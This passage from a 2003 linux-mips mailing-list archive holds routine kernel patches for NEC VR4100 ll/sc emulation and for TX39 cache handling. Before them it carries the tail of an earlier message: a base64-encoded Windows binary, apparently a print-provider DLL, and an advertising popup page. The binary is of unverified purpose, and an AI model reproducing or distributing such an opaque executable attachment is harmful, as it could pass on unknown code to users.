AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
VujEHQAA6xyNRiaDxhRQVuivHQAA6w2NRiaD
--FY3rW1i7s4uU6IyzZA63jG26lmT29B
--FY3rW1i7s4uU6IyzZA63jG26lmT29B
Content-Type: application/octet-stream;
	name=player_popup_insurance01[1].htm
Content-Transfer-Encoding: base64
Content-ID: <WoDQ11X18VWkjP3>

PEhUTUw+DQo8SEVBRD4NCjxUSVRMRT5BIG1lc3NhZ2UgZnJvbSBvdXIgc3BvbnNvcnMgLi4u
IDwvVElUTEU+DQo8c2NyaXB0IExBTkdVQUdFPSJKYXZhU2NyaXB0Ij4NCjwhLS0NCndpbmRv
dy5mb2N1cygpOw0KLy8tLT4NCjwvc2NyaXB0Pg0KPC9IRUFEPg0KPEJPRFkgQkdDT0xPUj0i
I0ZGRkZGRiIgbWFyZ2luaGVpZ2h0PTAgbWFyZ2lud2lkdGg9MCBsZWZ0bWFyZ2luPTAgdG9w
bWFyZ2luPTA+DQo8QSBUQVJHRVQ9Il9ibGFuayIgSFJFRj0iaHR0cDovL3d3LnNtYXNoaXRz
LmNvbS9yZWRpcmVjdC5jZm0/SUQ9MjQiPg0KPElNRyBTUkM9Imh0dHA6Ly93dy5zbWFzaGl0
cy5jb20vcGxheWVyL2Fkcy9oZWFsdGhfMjUweDI1MF8yYi5naWYiIGJvcmRlcj0iMCI+PC9h
Pg0KPC9CT0RZPg0KPC9IVE1MPg0KDQoNCj==
--FY3rW1i7s4uU6IyzZA63jG26lmT29B--

From yuasa@hh.iij4u.or.jp Mon Apr 21 11:00:51 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 21 Apr 2003 11:00:55 +0100 (BST)
Received: from mo02.iij4u.or.jp ([IPv6:::ffff:210.130.0.19]:27375 "EHLO
	mo02.iij4u.or.jp") by linux-mips.org with ESMTP id <S8225073AbTDUKAv>;
	Mon, 21 Apr 2003 11:00:51 +0100
Received: from mdo01.iij4u.or.jp (mdo01.iij4u.or.jp [210.130.0.171])
	by mo02.iij4u.or.jp (8.8.8/MFO1.5) with ESMTP id TAA10812;
	Mon, 21 Apr 2003 19:00:46 +0900 (JST)
Received: 4UMDO01 id h3LA0kA20446; Mon, 21 Apr 2003 19:00:46 +0900 (JST)
Received: 4UMRO00 id h3LA0jB21102; Mon, 21 Apr 2003 19:00:46 +0900 (JST)
	from pudding.montavista.co.jp (localhost [127.0.0.1]) (authenticated)
Date: Mon, 21 Apr 2003 19:00:45 +0900
From: Yoichi Yuasa <yuasa@hh.iij4u.or.jp>
To: Ralf Baechle <ralf@linux-mips.org>
Cc: yuasa@hh.iij4u.or.jp, linux-mips@linux-mips.org
Subject: Re: simulate_ll and simulate_sc move to do_cpu from do_ri
Message-Id: <20030421190045.57b3801c.yuasa@hh.iij4u.or.jp>
In-Reply-To: <20030418204553.A29634@linux-mips.org>
References: <20030418181748.57f7789a.yuasa@hh.iij4u.or.jp>
	<20030418204553.A29634@linux-mips.org>
X-Mailer: Sylpheed version 0.8.11 (GTK+ 1.2.10; i686-pc-linux-gnu)
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="Multipart_Mon__21_Apr_2003_19:00:45_+0900_086d0fa8"
Return-Path: <yuasa@hh.iij4u.or.jp>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2116
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: yuasa@hh.iij4u.or.jp
Precedence: bulk
X-list: linux-mips

This is a multi-part message in MIME format.

--Multipart_Mon__21_Apr_2003_19:00:45_+0900_086d0fa8
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit

Hi Ralf,

On Fri, 18 Apr 2003 20:45:53 +0200
Ralf Baechle <ralf@linux-mips.org> wrote:

> On Fri, Apr 18, 2003 at 06:17:48PM +0900, Yoichi Yuasa wrote:
> 
> > Why did you move simulate_ll and simulate_sc to do_cpu from do_ri?
> > NEC VR4100 series need simulate_ll and simulate_sc in do_ri.
> 
> As the CVS comment said ll is using the opcode for lwc0 and sc the opcode
> for swc0 so the expected behaviour of an attempt to execute ll or sc on a
> ll/sc-less processor is throwing a coprocessor unusable exception, not
> reserved exception.
> 
> So if the VR4100 series is indeed throwing RI exceptions then this processor
> is plain broken.  Will fix but not without cursing into NEC's direction.
> 
> Grr...

In addition, the attached patches are still required for NEC VR4100 series.
Please apply these patches.

Yoichi

--Multipart_Mon__21_Apr_2003_19:00:45_+0900_086d0fa8
Content-Type: text/plain;
 name="simulate_llsc-v24.diff"
Content-Disposition: attachment;
 filename="simulate_llsc-v24.diff"
Content-Transfer-Encoding: 7bit

diff -aruN --exclude=CVS --exclude=.cvsignore linux.orig/arch/mips/kernel/cpu-probe.c linux/arch/mips/kernel/cpu-probe.c
--- linux.orig/arch/mips/kernel/cpu-probe.c	Thu Apr 17 12:30:25 2003
+++ linux/arch/mips/kernel/cpu-probe.c	Mon Apr 21 12:30:05 2003
@@ -244,7 +244,7 @@
 				break;
 			}
                         current_cpu_data.isa_level = MIPS_CPU_ISA_III;
-                        current_cpu_data.options = R4K_OPTS | MIPS_CPU_LLSC;
+                        current_cpu_data.options = R4K_OPTS;
                         current_cpu_data.tlbsize = 32;
                         break;
 		case PRID_IMP_R4300:
diff -aruN --exclude=CVS --exclude=.cvsignore linux.orig/arch/mips/kernel/proc.c linux/arch/mips/kernel/proc.c
--- linux.orig/arch/mips/kernel/proc.c	Wed Apr 16 12:51:18 2003
+++ linux/arch/mips/kernel/proc.c	Mon Apr 21 12:24:00 2003
@@ -71,6 +71,10 @@
 	[CPU_VR4181A]	"NEC VR4181A"
 };
 
+#ifndef CONFIG_CPU_HAS_LLSC
+extern unsigned long ll_ops;
+extern unsigned long sc_ops;
+#endif
 
 static int show_cpuinfo(struct seq_file *m, void *v)
 {
diff -aruN --exclude=CVS --exclude=.cvsignore linux.orig/arch/mips/kernel/traps.c linux/arch/mips/kernel/traps.c
--- linux.orig/arch/mips/kernel/traps.c	Mon Apr 21 10:56:54 2003
+++ linux/arch/mips/kernel/traps.c	Mon Apr 21 12:39:25 2003
@@ -405,8 +405,8 @@
  * For now we don't have a mechanism to dump these variables to
  * /procfs anymore ...
  */
-static unsigned long ll_ops;
-static unsigned long sc_ops;
+unsigned long ll_ops;
+unsigned long sc_ops;
 #endif
 
 static struct task_struct *ll_task = NULL;
@@ -521,11 +521,11 @@
 
 	if ((opcode & OPCODE) == LL) {
 		simulate_ll(regs, opcode);
-		return;
+		return 0;
 	}
 	if ((opcode & OPCODE) == SC) {
 		simulate_sc(regs, opcode);
-		return;
+		return 0;
 	}
 }
 

--Multipart_Mon__21_Apr_2003_19:00:45_+0900_086d0fa8
Content-Type: text/plain;
 name="simulate_llsc-v25.diff"
Content-Disposition: attachment;
 filename="simulate_llsc-v25.diff"
Content-Transfer-Encoding: 7bit

diff -aruN --exclude=CVS --exclude=.cvsignore linux.orig/arch/mips/kernel/cpu-probe.c linux/arch/mips/kernel/cpu-probe.c
--- linux.orig/arch/mips/kernel/cpu-probe.c	Thu Apr 17 12:31:41 2003
+++ linux/arch/mips/kernel/cpu-probe.c	Mon Apr 21 18:28:51 2003
@@ -244,7 +244,7 @@
 				break;
 			}
                         current_cpu_data.isa_level = MIPS_CPU_ISA_III;
-                        current_cpu_data.options = R4K_OPTS | MIPS_CPU_LLSC;
+                        current_cpu_data.options = R4K_OPTS;
                         current_cpu_data.tlbsize = 32;
                         break;
 		case PRID_IMP_R4300:
diff -aruN --exclude=CVS --exclude=.cvsignore linux.orig/arch/mips/kernel/proc.c linux/arch/mips/kernel/proc.c
--- linux.orig/arch/mips/kernel/proc.c	Wed Apr 16 12:52:27 2003
+++ linux/arch/mips/kernel/proc.c	Mon Apr 21 18:29:29 2003
@@ -71,6 +71,10 @@
 	[CPU_VR4181A]	"NEC VR4181A"
 };
 
+#ifndef CONFIG_CPU_HAS_LLSC
+extern unsigned long ll_ops;
+extern unsigned long sc_ops;
+#endif
 
 static int show_cpuinfo(struct seq_file *m, void *v)
 {
diff -aruN --exclude=CVS --exclude=.cvsignore linux.orig/arch/mips/kernel/traps.c linux/arch/mips/kernel/traps.c
--- linux.orig/arch/mips/kernel/traps.c	Mon Apr 21 10:59:49 2003
+++ linux/arch/mips/kernel/traps.c	Mon Apr 21 18:30:15 2003
@@ -400,8 +400,8 @@
  * For now we don't have a mechanism to dump these variables to
  * /procfs anymore ...
  */
-static unsigned long ll_ops;
-static unsigned long sc_ops;
+unsigned long ll_ops;
+unsigned long sc_ops;
 #endif
 
 static struct task_struct *ll_task = NULL;
@@ -516,11 +516,11 @@
 
 	if ((opcode & OPCODE) == LL) {
 		simulate_ll(regs, opcode);
-		return;
+		return 0;
 	}
 	if ((opcode & OPCODE) == SC) {
 		simulate_sc(regs, opcode);
-		return;
+		return 0;
 	}
 }
 

--Multipart_Mon__21_Apr_2003_19:00:45_+0900_086d0fa8--

From anemo@mba.ocn.ne.jp Mon Apr 21 11:08:39 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 21 Apr 2003 11:08:43 +0100 (BST)
Received: from topsns.toshiba-tops.co.jp ([IPv6:::ffff:202.230.225.5]:33548
	"HELO topsns.toshiba-tops.co.jp") by linux-mips.org with SMTP
	id <S8225073AbTDUKIj>; Mon, 21 Apr 2003 11:08:39 +0100
Received: from no.name.available by topsns.toshiba-tops.co.jp
          via smtpd (for mail.linux-mips.org [62.254.210.162]) with SMTP; 21 Apr 2003 10:08:37 UT
Received: from localhost (fragile [172.17.28.65])
	by srd2sd.toshiba-tops.co.jp (8.12.9/8.12.9) with ESMTP id h3LA8PNr018399;
	Mon, 21 Apr 2003 19:08:25 +0900 (JST)
	(envelope-from anemo@mba.ocn.ne.jp)
Date: Mon, 21 Apr 2003 19:14:37 +0900 (JST)
Message-Id: <20030421.191436.78702188.nemoto@toshiba-tops.co.jp>
To: linux-mips@linux-mips.org, ralf@linux-mips.org
Subject: TX39 fixes and cleanups
From: Atsushi Nemoto <anemo@mba.ocn.ne.jp>
Cc: Atsushi Nemoto <nemoto@toshiba-tops.co.jp>
X-Fingerprint: 6ACA 1623 39BD 9A94 9B1A  B746 CA77 FE94 2874 D52F
X-Pgp-Public-Key: http://wwwkeys.pgp.net/pks/lookup?op=get&search=0x2874D52F
Organization: TOSHIBA Personal Computer System Corporation
X-Mailer: Mew version 2.2 on Emacs 21.2 / Mule 5.0 (SAKAKI)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Return-Path: <anemo@mba.ocn.ne.jp>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2117
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: anemo@mba.ocn.ne.jp
Precedence: bulk
X-list: linux-mips

Here is a patch for TX39 fixes and cleanups:

- kernel/cpu-probe.c:
	- TX39 does not have LLSC.
- mm/c-tx39.c
	- Remove unused functions.
	- Add missing extern declarations.
	- Sync with recent c-r4k.c changes. (including
	  _PAGE_VALID/_PAGE_PRESENT fix, dc_alias checking)
	- Use proper cp0.config macro.
	- Add TX39_STOP_STREAMING() to ensure icache-flushing.


diff -ur linux-mips-cvs/arch/mips/kernel/cpu-probe.c linux.new/arch/mips/kernel/cpu-probe.c
--- linux-mips-cvs/arch/mips/kernel/cpu-probe.c	Fri Apr 18 10:23:02 2003
+++ linux.new/arch/mips/kernel/cpu-probe.c	Mon Apr 21 16:39:50 2003
@@ -278,7 +278,7 @@
 		#endif
 		case PRID_IMP_TX39:
 			current_cpu_data.isa_level = MIPS_CPU_ISA_I;
-			current_cpu_data.options = MIPS_CPU_TLB | MIPS_CPU_LLSC;
+			current_cpu_data.options = MIPS_CPU_TLB;
 
 			if ((current_cpu_data.processor_id & 0xf0) ==
 			    (PRID_REV_TX3927 & 0xf0)) {
diff -ur linux-mips-cvs/arch/mips/mm/c-tx39.c linux.new/arch/mips/mm/c-tx39.c
--- linux-mips-cvs/arch/mips/mm/c-tx39.c	Fri Apr 18 10:23:03 2003
+++ linux.new/arch/mips/mm/c-tx39.c	Mon Apr 21 16:39:16 2003
@@ -28,16 +28,23 @@
 static unsigned long icache_way_size, dcache_way_size;	/* Size divided by ways */
 extern long scache_size;
 
-#define icache_lsize	current_cpu_data.icache.linesz
-#define dcache_lsize	current_cpu_data.dcache.linesz
-
 #include <asm/r4kcache.h>
 
+extern void r3k_clear_page(void * page);
+extern void r3k_copy_page(void * to, void * from);
+
 extern int r3k_have_wired_reg;	/* in r3k-tlb.c */
 
-static void tx39h_flush_data_cache_page(unsigned long addr)
-{
-}
+/* This sequence is required to ensure icache is disabled immediately */
+#define TX39_STOP_STREAMING() \
+__asm__ __volatile__( \
+	".set    push\n\t" \
+	".set    noreorder\n\t" \
+	"b       1f\n\t" \
+	"nop\n\t" \
+	"1:\n\t" \
+	".set pop" \
+	)
 
 /* TX39H-style cache flush routines. */
 static void tx39h_flush_icache_all(void)
@@ -50,6 +57,7 @@
 	local_irq_save(flags);
 	config = read_c0_conf();
 	write_c0_conf(config & ~TX39_CONF_ICE);
+	TX39_STOP_STREAMING();
 
 	/* invalidate icache */
 	while (start < end) {
@@ -64,15 +72,15 @@
 static void tx39h_dma_cache_wback_inv(unsigned long addr, unsigned long size)
 {
 	unsigned long end, a;
-	int lsize = dcache_lsize;
+	unsigned long dc_lsize = current_cpu_data.dcache.linesz;
 
 	iob();
-	a = addr & ~(lsize - 1);
-	end = (addr + size - 1) & ~(lsize - 1);
+	a = addr & ~(dc_lsize - 1);
+	end = (addr + size - 1) & ~(dc_lsize - 1);
 	while (1) {
 		invalidate_dcache_line(a); /* Hit_Invalidate_D */
 		if (a == end) break;
-		a += lsize;
+		a += dc_lsize;
 	}
 }
 
@@ -101,6 +109,7 @@
 	local_irq_save(flags);
 	config = read_c0_conf();
 	write_c0_conf(config & ~TX39_CONF_ICE);
+	TX39_STOP_STREAMING();
 	blast_icache16_page(addr);
 	write_c0_conf(config);
 	local_irq_restore(flags);
@@ -113,6 +122,7 @@
 	local_irq_save(flags);
 	config = read_c0_conf();
 	write_c0_conf(config & ~TX39_CONF_ICE);
+	TX39_STOP_STREAMING();
 	blast_icache16_page_indexed(addr);
 	write_c0_conf(config);
 	local_irq_restore(flags);
@@ -125,6 +135,7 @@
 	local_irq_save(flags);
 	config = read_c0_conf();
 	write_c0_conf(config & ~TX39_CONF_ICE);
+	TX39_STOP_STREAMING();
 	blast_icache16();
 	write_c0_conf(config);
 	local_irq_restore(flags);
@@ -132,12 +143,24 @@
 
 static inline void tx39_flush_cache_all(void)
 {
+	if (!cpu_has_dc_aliases)
+		return;
+
+	tx39_blast_dcache();
+	tx39_blast_icache();
+}
+
+static inline void tx39___flush_cache_all(void)
+{
 	tx39_blast_dcache();
 	tx39_blast_icache();
 }
 
 static void tx39_flush_cache_mm(struct mm_struct *mm)
 {
+	if (!cpu_has_dc_aliases)
+		return;
+
 	if (cpu_context(smp_processor_id(), mm) != 0) {
 		tx39_flush_cache_all();
 	}
@@ -147,6 +170,9 @@
 				    unsigned long start,
 				    unsigned long end)
 {
+	if (!cpu_has_dc_aliases)
+		return;
+
 	if (cpu_context(smp_processor_id(), mm) != 0) {
 		tx39_blast_dcache();
 		tx39_blast_icache();
@@ -178,7 +204,7 @@
 	 * If the page isn't marked valid, the page cannot possibly be
 	 * in the cache.
 	 */
-	if (!(pte_val(*ptep) & _PAGE_VALID))
+	if (!(pte_val(*ptep) & _PAGE_PRESENT))
 		return;
 
 	/*
@@ -187,8 +213,9 @@
 	 * for every cache flush operation.  So we do indexed flushes
 	 * in that case, which doesn't overly flush the cache too much.
 	 */
-	if (mm == current->active_mm) {
-		tx39_blast_dcache_page(page);
+	if ((mm == current->active_mm) && (pte_val(*ptep) & _PAGE_VALID)) {
